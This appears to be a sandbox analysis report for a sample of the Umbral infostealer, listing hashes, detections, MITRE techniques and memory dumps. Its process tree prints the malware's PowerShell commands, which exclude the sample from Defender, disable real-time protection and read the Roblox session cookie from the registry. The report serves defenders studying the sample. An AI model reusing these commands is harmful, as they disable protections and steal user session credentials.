umbral | 9bfbe65dc852646119cde7e50ba948d7fae6d80f2bc6483273478f398a726f97

General

Target

loader.exe
Size

231KB
MD5

c534087d8b0da713f69ff7674465bb17
SHA1

f2ecb66437aa0ec06cce908428b6b891aed74071
SHA256

9bfbe65dc852646119cde7e50ba948d7fae6d80f2bc6483273478f398a726f97
SHA512

f7165e561a0f76b524e3db552e09caf44f3ef5200934e5de45163df386a0d769674148e741107acf5b92aa4b9e34c54cc5582d955da3892dc5986aef51bf4815
SSDEEP

6144:xloZMArIkd8g+EtXHkv/iD434SD34QWRJ6KyvSgR1EPab8e1m0i:DoZHL+EP8oE34QWRJ63vSgR1E+m

Score

10^/10

Malware Config

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/memory/1640-0-0x00000000009A0000-0x00000000009E0000-memory.dmp	family_umbral
behavioral1/memory/1640-2-0x000000001B180000-0x000000001B200000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	loader.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1604	powershell.exe
2700	powershell.exe
1160	powershell.exe
2840	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1640	loader.exe
Token: SeDebugPrivilege	1604	powershell.exe
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeDebugPrivilege	1160	powershell.exe
Token: SeDebugPrivilege	2840	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1640 wrote to memory of 1604	1640	loader.exe	29
PID 1640 wrote to memory of 1604	1640	loader.exe	29
PID 1640 wrote to memory of 1604	1640	loader.exe	29
PID 1640 wrote to memory of 2700	1640	loader.exe	31
PID 1640 wrote to memory of 2700	1640	loader.exe	31
PID 1640 wrote to memory of 2700	1640	loader.exe	31
PID 1640 wrote to memory of 1160	1640	loader.exe	33
PID 1640 wrote to memory of 1160	1640	loader.exe	33
PID 1640 wrote to memory of 1160	1640	loader.exe	33
PID 1640 wrote to memory of 2840	1640	loader.exe	35
PID 1640 wrote to memory of 2840	1640	loader.exe	35
PID 1640 wrote to memory of 2840	1640	loader.exe	35
PID 1640 wrote to memory of 1108	1640	loader.exe	37
PID 1640 wrote to memory of 1108	1640	loader.exe	37
PID 1640 wrote to memory of 1108	1640	loader.exe	37

C:\Users\Admin\AppData\Local\Temp\loader.exe
"C:\Users\Admin\AppData\Local\Temp\loader.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\loader.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2840
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 1640 -s 1880
  2⤵
  PID:1108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
ed43763bc9d1e273d942c28b4872c558

SHA1
8aa12f48474767a5c66296157c0711cd9b8ac8f8

SHA256
1a762cf840ce618e4dd6b3c32892f0b7e21951b260f1eeca8234b6a89acd8c9b

SHA512
5fd3bfb4fc7acf78976047e98867f87af5967cf20ee4bf6a6b5d9cd4f018c5e33c63a912633afa7ea7fcbaa99c5ec7997a3d1fc4717b657bf672d00682ef0969

Download Submit
memory/1160-50-0x000007FEED5C0000-0x000007FEEDF5D000-memory.dmp

Filesize
9.6MB

Download
memory/1160-49-0x0000000002510000-0x0000000002590000-memory.dmp

Filesize
512KB

Download
memory/1160-48-0x0000000002510000-0x0000000002590000-memory.dmp

Filesize
512KB

Download
memory/1160-47-0x0000000002510000-0x0000000002590000-memory.dmp

Filesize
512KB

Download
memory/1160-46-0x000007FEED5C0000-0x000007FEEDF5D000-memory.dmp

Filesize
9.6MB

Download
memory/1160-45-0x000007FEED5C0000-0x000007FEEDF5D000-memory.dmp

Filesize
9.6MB

Download
memory/1604-13-0x00000000025B0000-0x0000000002630000-memory.dmp

Filesize
512KB

Download
memory/1604-12-0x00000000025B0000-0x0000000002630000-memory.dmp

Filesize
512KB

Download
memory/1604-9-0x000000001B450000-0x000000001B732000-memory.dmp

Filesize
2.9MB

Download
memory/1604-15-0x000007FEED5C0000-0x000007FEEDF5D000-memory.dmp

Filesize
9.6MB

Download
memory/1604-11-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/1604-16-0x00000000025B0000-0x0000000002630000-memory.dmp

Filesize
512KB

Download
memory/1604-17-0x000007FEED5C0000-0x000007FEEDF5D000-memory.dmp

Filesize
9.6MB

Download
memory/1604-10-0x000007FEED5C0000-0x000007FEEDF5D000-memory.dmp

Filesize
9.6MB

Download
memory/1604-14-0x00000000025B0000-0x0000000002630000-memory.dmp

Filesize
512KB

Download
memory/1640-1-0x000007FEF5370000-0x000007FEF5D5C000-memory.dmp

Filesize
9.9MB

Download
memory/1640-2-0x000000001B180000-0x000000001B200000-memory.dmp

Filesize
512KB

Download
memory/1640-3-0x000007FEF5370000-0x000007FEF5D5C000-memory.dmp

Filesize
9.9MB

Download
memory/1640-4-0x000000001B180000-0x000000001B200000-memory.dmp

Filesize
512KB

Download
memory/1640-0-0x00000000009A0000-0x00000000009E0000-memory.dmp

Filesize
256KB

Download
memory/2700-23-0x000000001B270000-0x000000001B552000-memory.dmp

Filesize
2.9MB

Download
memory/2700-25-0x000007FEECC20000-0x000007FEED5BD000-memory.dmp

Filesize
9.6MB

Download
memory/2700-31-0x000007FEECC20000-0x000007FEED5BD000-memory.dmp

Filesize
9.6MB

Download
memory/2700-29-0x00000000025B0000-0x0000000002630000-memory.dmp

Filesize
512KB

Download
memory/2700-28-0x00000000025B0000-0x0000000002630000-memory.dmp

Filesize
512KB

Download
memory/2700-27-0x000007FEECC20000-0x000007FEED5BD000-memory.dmp

Filesize
9.6MB

Download
memory/2700-26-0x00000000025B0000-0x0000000002630000-memory.dmp

Filesize
512KB

Download
memory/2700-30-0x00000000025B0000-0x0000000002630000-memory.dmp

Filesize
512KB

Download
memory/2700-24-0x0000000001DF0000-0x0000000001DF8000-memory.dmp

Filesize
32KB

Download
memory/2840-56-0x000007FEECC20000-0x000007FEED5BD000-memory.dmp

Filesize
9.6MB

Download
memory/2840-57-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2840-58-0x000007FEECC20000-0x000007FEED5BD000-memory.dmp

Filesize
9.6MB

Download
memory/2840-59-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2840-60-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2840-61-0x000007FEECC20000-0x000007FEED5BD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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